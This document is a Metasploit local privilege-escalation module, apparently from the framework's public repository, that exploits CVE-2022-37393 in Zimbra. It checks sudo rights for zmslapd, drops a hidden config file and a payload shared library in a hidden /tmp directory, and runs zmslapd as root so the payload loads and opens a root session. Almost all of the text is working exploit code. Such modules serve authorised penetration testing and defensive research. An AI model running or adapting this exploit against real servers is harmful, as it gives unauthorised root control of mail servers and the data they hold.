Zimbra zmslapd Privilege Escalation

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::Linux::Compile  include Msf::Post::Linux::Kernel  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zimbra zmslapd arbitrary module load',        'Description' => %q{          This module exploits CVE-2022-37393, which is a vulnerability in          Zimbra's sudo configuration that permits the zimbra user to execute          the zmslapd binary as root with arbitrary parameters. As part of its          intended functionality, zmslapd can load a user-defined configuration          file, which includes plugins in the form of .so files, which also          execute as root.        },        'License' => MSF_LICENSE,        'Author' => [          'Darren Martyn', # discovery and poc          'Ron Bowes',     # Module        ],        'DisclosureDate' => '2021-10-27',        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Privileged' => true,        'References' => [          [ 'CVE', '2022-37393' ],          [ 'URL', 'https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],        ],        'Targets' => [          [ 'Auto', {} ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Reliability' => [ REPEATABLE_SESSION ],          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS ]        }      )    )    register_options [      OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),      OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),    ]    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])    ]  end  # Because this isn't patched, I can't say with 100% certainty that this will  # detect a future patch (it depends on how they patch it)  def check    # Sanity check    if is_root?      fail_with(Failure::None, 'Session already has root privileges')    end    unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")      print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")      return CheckCode::Safe    end    unless command_exists?(datastore['SUDO_PATH'])      print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")      return CheckCode::Safe    end    # Run `sudo -n -l` to make sure we have access to the target command    cmd = "#{datastore['SUDO_PATH']} -n -l"    print_status "Executing: #{cmd}"    output = cmd_exec(cmd).to_s    if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')      print_error('Current user could not execute sudo -l')      return CheckCode::Safe    end    if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")      print_error('Current user does not have access to run zmslapd')      return CheckCode::Safe    end    CheckCode::Appears  end  def exploit    base_dir = datastore['WritableDir'].to_s    unless writable?(base_dir)      fail_with(Failure::BadConfig, "#{base_dir} is not writable")    end    # Generate a random directory    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    if file_exist?(exploit_dir)      fail_with(Failure::BadConfig, 'Exploit dir already exists')    end    # Create the directory and get ready to remove it    print_status("Creating exploit directory: #{exploit_dir}")    mkdir(exploit_dir)    register_dir_for_cleanup(exploit_dir)    # Generate some filenames    library_name = ".#{rand_text_alphanumeric(5..10)}.so"    library_path = "#{exploit_dir}/#{library_name}"    config_name = ".#{rand_text_alphanumeric(5..10)}"    config_path = "#{exploit_dir}/#{config_name}"    # Create the .conf file    config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"    write_file(config_path, config)    write_file(library_path, generate_payload_dll)    cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"    print_status "Attempting to trigger payload: #{cmd}"    out = cmd_exec(cmd)    unless session_created?      print_error("Failed to create session! Cmd output = #{out}")    end  endend